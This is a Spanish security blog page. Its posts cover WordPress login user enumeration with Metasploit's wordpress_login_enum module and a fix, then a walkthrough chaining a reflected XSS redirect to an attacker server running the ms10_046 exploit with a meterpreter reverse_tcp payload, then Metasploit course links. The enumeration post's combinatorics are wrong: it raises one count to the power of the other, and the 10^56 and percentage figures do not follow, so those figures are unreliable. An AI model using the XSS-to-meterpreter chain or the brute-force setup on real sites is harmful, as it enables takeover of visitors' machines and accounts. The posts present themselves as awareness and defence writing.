Enumerando Usuarios En WordPress
WordPress, una de las plataformas predilectas para la administración de blogs y publicaciones, contiene un fallo de seguridad de tipo “Lógico“, que captó mi atención desde el primer momento en que la conocí.
Hace ya mas de un año, realizando pruebas de rutina sobre una pantalla de login de WP, me encuentro con un detalle poco usual. El sistema devolvía demasiada información a mis errores cometidos. El primer intento fallido que realice, me devolvió la siguiente respuesta:
Usuario Y contraseña, incorrectos
Continué probando mientras prestaba atención solamente al usuario, hasta recibir el siguiente mensaje
Contraseña incorrecta
Lo cual me llevo a reflexionar sobre el hecho de que estaba utilizando el User correcto, pero la contraseña en este caso, era invalida.
Las nuevas versiones de WP discriminan los siguientes casos:
- Usuario Incorrecto
Password Incorrecta PARA usuario “X”

Me detengo para hacer un paréntesis y mirar los hechos desde un ángulo mas matemático:
Premisas:
- No tengo forma de comprobar a priori, sin estar ya LOGGEADO, si el usuario ingresado es correcto.
- Tampoco podría comprobar si la contraseña es valida hasta no haber descubierto el usuario, lo cual nuevamente seria imposible sin estar loggeado.
- El usuario tiene como máximo de 6 caracteres [alpha] (Planteo un numero máximo para determinar relativamente el peor de los casos).
- La password tiene como máximo 10 caracteres [alfanumérico] (Ídem punto anterior).
Habiendo planteado mis premisas, y sin mas preámbulos:
La cantidad de usuarios posibles con un máximo de 6 caracteres es: 27^6 = 387.420.489
La cantidad de passwords posibles con un máximo de 10 caracteres es: 37^10 = 4,808 x 10^15
La cantidad de combinaciones posibles en el peor de los casos para lograr determinar la combinacionÚNICA de user/pass: (387.420.489)^(4,808 x 10^15) = 1,96 x 10^56
Suponiendo que una computadora promedio pueda comprobar 100 user/pass por segundo, el tiempo necesario para descubrir la combinación sería aproximadamente de 6,75 x 10^48 años . Lo cual supone un numero extremadamente grande.
Volviendo al caso e intentando demostrar el punto desde las matemáticas, procedo a plantear la siguiente cuenta teniendo en cuenta:
- Puedo determinar el usuario sin necesidad de loggearme (Vulnerabilidad de Enumeración de usuarios de WordPress).
- Una vez determinado el usuario, solo resta probar las contraseñas posibles, hasta poder loggearme.
La cantidad de usuarios posibles con un máximo de 6 caracteres sigue siendo la misma que en el caso anterior, y la cantidad de passwords posibles también. La variación reside en la combinatoria entre user/pass , ya que al poder determinar en primera instancia al usuario, en el peor de los casos tendríamos que haber probado con 387.420.489 , y de ahí determinar cual es la pass correcta entre las 4,808 x 10^15posibles.
Lo cual nos da un numero aproximado de: (387.420.489 + 4,808 x 10^15) Que básicamente sigue siendo 4,8 x 10^15 .
Para lograr ingresar a un sistema con las características presentadas, en el peor de los casos, tendríamos un costo de 169.619.501 años, lo cual es un 2,45 x 10^ -39 % del caso anterior !!!! (Si, leyeron bien, es un ” -39 ” ). Los números son IRRISORIOS! logramos reducir el costo en cantidades mas que abismales.
WordPress presenta por defecto, mensajes de error en el inicio de sesión, en los cuales discrimina entre usuario invalido y, contraseña no valida para un usuario determinado. Con lo cual nos sitúa dentro de nuestro segundo caso hipotético ya demostrado.
Metasploit posee un modulo auxiliar ” wordpress_login_enum ” que nos permite explotar dicha vulnerabilidad.
Las opciones mas destacadas son :
BRUTEFORCE –> Utiliza el metodo de fuerza bruta para lograr el acceso
PASS_FILE —> Utiliza un diccionario de datos
USERNAME —> Permite ingresar un nombre de usuario ya determinado (La fortaleza del ataque)
USERPASS_FILE –> En el caso de no haber reconocido previamente al usuario, esta opción sigue siendo de gran importancia, ya que como demostramos anteriormente, WordPress advierte cuando un usuarios es valido o no. Esto significa que metasploit no tiene que comprobar todas las pass para todos los user posibles, sino que primero determina el usuario, y luego busca la password para el mismo.
VALIDATE_USERS —> Determina los nombres de usuarios Validos / Enumeración de usuarios
Una vez configurado el módulo, simplemente esperamos que la aplicación haga su trabajo esperando tener resultados positivos como en el siguiente caso.

Este error puede ser solucionado con tan solo agregar la siguiente linea de código en el archivo “functions.php” ubicado en el directorio ../wp-content/themes/Nombre_theme_utilizado/ :
add_filter(‘login_errors’,create_function(‘$a’, “return null;”));
Es importante modificar el script para evitar este tipo de ataques. También de ser posible restringir la cantidad de intentos fallidos para el acceso es una buena forma de mitigar cualquier tipo de ataque por fuerza bruta.
Fuente: Gustavo Nicolas Ogawa, de la redacción del Blog de Mkit Argentina
Combinando ataques: XSS + Metasploit
En esta oportunidad voy a demostrar y comprobar que tan grave puede ser una vulnerabilidad de tipo Cross Site Scripting No Persistente (XSS).
Para entrar en tema vamos a hacer un breve repaso por las cuestiones técnicas de dicho fallo de diseño:
XSS es una vulnerabilidad Web que surge del incorrecto saneamiento de parámetros de entrada, mediante el cual puede inyectarse código de script en el cliente.
Ejemplo de código php vulnerable:
<?
echo $_GET['id'];
?>
De esta forma podríamos aprovecharnos haciendo una molificación en los parámetros de la siguiente forma:
www.sitio.com/script_vulnerable.php?id=1<script>alert(“Pwned!”)</script>
En código PHP, podríamos evitar estos dolores de cabeza haciendo un correcto saneamiento con las funciones “urlencode”, “htmlentities” y “addslashes”.
El objetivo de este articulo NO es hacer un tutorial explicativo sobre el fallo, sino ampliar las fronteras del alcance e impacto para que se tenga en consideración la gravedad de los hechos.
Si bien es cierto que seria demasiado conseguir las cookies de la víctima, porque no explorar mas allá de lo ya bien conocido y combinamos técnicas para lograr acceso a su equipo en vez de quedarnos con su información ?!
Podríamos utilizar la URL como vector de ataque y contaríamos con la ventaja de que el dominio ya cuenta con su reputación propia, por lo cual, nadie desconfiaría a la hora de darle “Click”. Dentro del URIPATH podríamos agregar un <script> para hacer una redireccion a nuestro sitio malicioso.
http://www.DominioDeConfianza.com/noticia.php?id=1<script>document.location=”http://www.SitioMalicioso.com”</script>
Comenzamos cargando en metasploit un ClientSide, en este caso:
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
set payload windows/meterpreter/reverse_tcp
y proporcionamos los datos de conflagración necesarios.
Una vez preparado el servidor atacante, se prepara el URI para enviar a la víctima. Se puede hacer una codificación del URIPATH para evitar una lectura sencilla que advierta la redireccion, para esto se puede utilizar un URLENCODER.
http://www.DominioDeConfianza.com/ScriptVulnerable.php?id=1<script>document.location=”http://www.ServidorAtacante.com”</script>
El link puede ser enviado por cualquier medio: mail, msn, redes sociales, etc. En este caso agregamos un “Alert” para mostrar la redirección en proceso:
Entre tanto, del lado del servidor pasa lo siguiente:
Y como vemos en el screenshot se ha creado una nueva sesión de meterpreter, lo cual significa que conseguimos Acceso y control total del equipo víctima utilizando como vector de ataque un simple XSS No persistente.
Del lado de la víctima en este caso estaría viendo lo siguiente:
Para finalizar vamos a crear un directorio en el escritorio de la víctima desde la consola de meterpreter con un clásico PWNED:
Y de esta forma queda demostrada la GRAVEDAD de un simple XSS no persistente. Quizas no es tan grave para la integridad del sitio vulnerable, pero si lo es para los clientes/usuarios que visitan la pagina en cuestión. La credibilidad de una empresa puede decaer considerablemente si se llegase a utilizar su dominio como medio de infección.
En consideración: No es el objetivo enseñar cómo usar las técnicas expuestas, sino concientizar e informar para así poder prevenir cualquier tipo de ataque informático.
Fuente: Gustavo Nicolas Ogawa de la redacción del Blog de Mkit Argentina
Curso de Metasploit en Video
Hace un tiempo ya publiqué un post sobre un curso online sobre Metasploit, que requería una extensiva lectura y comprensión de texto teórico.
Con alegría les cuento que este material se encuentra disponible ahora en video.
Vivek Ramachandran, un reconocido gurú de la seguridad, armó 17 videos explicativos que cubren los conceptos más importantes de esta famosa herramienta, explicando detalladamente el uso de cada una de las funcionalidades de la misma.
El material está publicado en SecurityTube (el Youtube de la seguridad informática)
Lamentablemente, aunque los videos faciliten el estudio, el material está armado en inglés con acento Indio y sigue teniendo un nivel técnico altamente avanzado.
Sin embargo, no deja de ser un excelente material para poder profundizar los conceptos que hacen a esta herramienta tan poderosa.
Links a los videos:
- http://videos.securitytube.net/Metasploit-Megaprimer-1.mp4
- http://videos.securitytube.net/Metasploit-Megaprimer-2.mp4
- http://videos.securitytube.net/Metasploit-3.mp4
- http://videos.securitytube.net/Metasploit-4.mp4
- http://videos.securitytube.net/Metasploit-5.mp4
- http://videos.securitytube.net/Metasploit-6.mp4
- http://videos.securitytube.net/Metasploit-7.mp4
- http://videos.securitytube.net/Metasploit-8.mp4
- http://videos.securitytube.net/Metasploit-9.mp4
- http://videos.securitytube.net/Metasploit-10.mp4
- http://videos.securitytube.net/Metasploit-11.mp4
- http://videos.securitytube.net/Metasploit-12.mp4
- http://videos.securitytube.net/Metasploit-13.mp4
- http://videos.securitytube.net/Metasploit-14.mp4
- http://videos.securitytube.net/Metasploit-15.mp4
- http://videos.securitytube.net/Metasploit-16.mp4
- http://videos.securitytube.net/Metasploit-17.mp4
Curso Online Gratuito de Metasploit
El grupo Offensive Security publicó un curso sobre Metasploit muy bueno, de forma gratuita.
Está en inglés y requiere bastantes conocimientos previos sobre el tema.
Hay que tenerle paciencia y leer tranquila y detenidamente los contenidos, ayudándose de Google.
Link: http://www.offensive-security.com/metasploit-unleashed/
Tags
Recent Posts
- Online Nmap Scanner – Escanea tu red rápida y fácilmente
- Cual es mi dirección IP?
- Denegación de Servicio a IP TV Sony Bravia
- CXO Community – V Jornada de Gestión de la Identidad en la Era Digital
- Lock – Un simple bloqueador de consola para Linux
Archives
- April 2012 (3)
- March 2012 (2)
- February 2012 (1)
- January 2012 (1)
- October 2011 (11)
- September 2011 (13)
- August 2011 (5)
- July 2011 (7)
- June 2011 (8)
- May 2011 (3)
- April 2011 (7)
- March 2011 (2)
- February 2011 (2)
- December 2010 (2)
- November 2010 (5)
- October 2010 (3)
- September 2010 (6)
- August 2010 (3)
- June 2010 (4)
- May 2010 (3)
- April 2010 (3)
- March 2010 (2)
- February 2010 (6)
- January 2010 (16)
- December 2009 (6)
- November 2009 (2)
- October 2009 (7)
- September 2009 (12)
- August 2009 (4)
- July 2009 (4)
- June 2009 (4)
- May 2009 (4)










